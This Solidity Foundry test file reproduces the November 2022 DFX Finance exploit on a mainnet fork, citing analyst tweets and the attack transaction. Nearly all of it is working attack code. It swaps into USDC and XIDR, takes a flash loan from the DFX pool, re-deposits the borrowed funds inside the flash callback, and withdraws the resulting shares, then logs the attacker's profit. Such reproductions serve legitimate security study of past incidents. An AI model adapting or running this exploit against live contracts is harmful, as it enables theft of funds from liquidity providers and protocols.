src/test/2022-11/DFX_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1590960299246780417
9// https://twitter.com/BeosinAlert/status/1591012525914861570
10// https://twitter.com/AnciliaInc/status/1590839104731684865
11// https://twitter.com/peckshield/status/1590831589004816384
12// TX
13// https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
14 
15interface Curve {
16    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
17    function viewDeposit(
18        uint256 _deposit
19    ) external view returns (uint256, uint256[] memory);
20    function deposit(uint256 _deposit, uint256 _deadline) external returns (uint256, uint256[] memory);
21    function withdraw(uint256 _curvesToBurn, uint256 _deadline) external;
22}
23 
24contract ContractTest is Test {
25    IERC20 XIDR = IERC20(0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52);
26    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
27    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
28    Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
29    Curve dfx = Curve(0x46161158b1947D9149E066d6d31AF1283b2d377C);
30    uint256 receiption;
31 
32    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 
34    function setUp() public {
35        cheats.createSelectFork("mainnet", 15_941_703);
36    }
37 
38    function testExploit() public {
39        address(WETH).call{value: 2 ether}("");
40        WETH.approve(address(Router), type(uint256).max);
41        USDC.approve(address(Router), type(uint256).max);
42        USDC.approve(address(dfx), type(uint256).max);
43        XIDR.approve(address(Router), type(uint256).max);
44        XIDR.approve(address(dfx), type(uint256).max);
45 
46        WETHToUSDC();
47 
48        emit log_named_decimal_uint("[Before] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 6);
49 
50        USDCToXIDR();
51        uint256[] memory XIDR_USDC = new uint256[](2);
52        XIDR_USDC[0] = 0;
53        XIDR_USDC[1] = 0;
54        (, XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18);
55        dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee
56        dfx.withdraw(receiption, block.timestamp + 60);
57        XIDRToUSDC();
58 
59        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
60    }
61 
62    function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
63        (receiption,) = dfx.deposit(200_000 * 1e18, block.timestamp + 60);
64    }
65 
66    function WETHToUSDC() internal {
67        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
68            tokenIn: address(WETH),
69            tokenOut: address(USDC),
70            fee: 500,
71            recipient: address(this),
72            deadline: block.timestamp,
73            amountIn: WETH.balanceOf(address(this)),
74            amountOutMinimum: 0,
75            sqrtPriceLimitX96: 0
76        });
77        Router.exactInputSingle(_Params);
78    }
79 
80    function USDCToXIDR() internal {
81        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
82            tokenIn: address(USDC),
83            tokenOut: address(XIDR),
84            fee: 500,
85            recipient: address(this),
86            deadline: block.timestamp,
87            amountIn: USDC.balanceOf(address(this)) / 2,
88            amountOutMinimum: 0,
89            sqrtPriceLimitX96: 0
90        });
91        Router.exactInputSingle(_Params);
92    }
93 
94    function XIDRToUSDC() internal {
95        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
96            tokenIn: address(XIDR),
97            tokenOut: address(USDC),
98            fee: 500,
99            recipient: address(this),
100            deadline: block.timestamp,
101            amountIn: XIDR.balanceOf(address(this)) / 2,
102            amountOutMinimum: 0,
103            sqrtPriceLimitX96: 0
104        });
105        Router.exactInputSingle(_Params);
106    }
107}